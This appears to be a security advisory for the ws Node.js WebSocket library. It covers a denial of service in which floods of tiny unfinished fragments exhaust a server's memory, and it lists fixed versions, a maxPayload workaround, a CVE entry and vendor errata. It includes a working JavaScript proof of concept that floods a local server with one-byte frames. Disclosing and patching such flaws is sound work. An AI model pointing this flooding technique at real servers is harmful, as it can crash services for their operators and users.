ws: Memory exhaustion DoS from tiny fragments and data chunks
### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-48779US | — | — | ||
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0… | ||||
references
External citations — patches, advisories, analysis.
- https://access.redhat.com/errata/RHSA-2026:26638WEB
- https://access.redhat.com/errata/RHSA-2026:27171WEB
- https://access.redhat.com/errata/RHSA-2026:29197WEB
- https://access.redhat.com/errata/RHSA-2026:33155WEB
- https://access.redhat.com/errata/RHSA-2026:33160WEB
- https://access.redhat.com/errata/RHSA-2026:33163WEB
- https://access.redhat.com/errata/RHSA-2026:33173WEB
- https://access.redhat.com/errata/RHSA-2026:33183WEB
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